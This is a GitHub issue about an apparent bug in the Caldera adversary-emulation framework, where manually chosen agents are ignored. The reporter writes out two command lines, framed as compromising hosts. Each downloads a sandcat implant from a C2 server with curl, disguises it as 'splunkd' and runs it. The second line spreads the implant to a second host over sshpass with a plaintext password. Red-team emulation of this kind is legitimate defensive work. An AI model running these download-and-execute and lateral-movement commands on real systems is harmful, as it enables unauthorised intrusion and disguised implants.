Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Deploying agent through sshpass, second host acts odd - What am I missing? #2896

Open
koncentrat11 opened this issue Feb 21, 2024 · 3 comments

Comments

@koncentrat11
Copy link

koncentrat11 commented Feb 21, 2024

I am trying to use the initial host as a bot and recruit a new host using SSH from the initial host, but the second host seem to acts odd.

Step 1) Compromise first host (Host1):

"server="http://xxx.xxx.xxx.xxx:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > splunkd;chmod +x splunkd;./splunkd -server $server -group red -v"

Step 2) Utilize sshpass to compromise second host (Host2):

sshpass -p "pw" ssh username@xxx.xxx.xxx.xxx server="http://xxx.xxx.xxx.xxx:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > splunkd;chmod +x splunkd;./splunkd -server $server -group red -v

I see the new agent (Host2) pop up in Caldera, but when I try to execute commands manually by selecting it as an agent, the responses are still from Host1 and Host2 dies shortly after. What am I missing? It seems like it ignore that I choose Host2 and keep using Host1?

Edit: It seems like it defaults to one agent, even though I select another, the first will still appear in the agent columns under operations.

s0
s1
s2

@koncentrat11
Copy link
Author

It seems like you are unable to choose an agent of your choice, if you add a manual command, it will select the same agent even though you select a different one in the dropdown?

@elegantmoose elegantmoose self-assigned this Feb 27, 2024
@elegantmoose
Copy link
Contributor

On our queue.

Copy link

This issue is stale because it has been open 30 days with no activity. Remove stale label or comment or this will be closed in 5 days

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants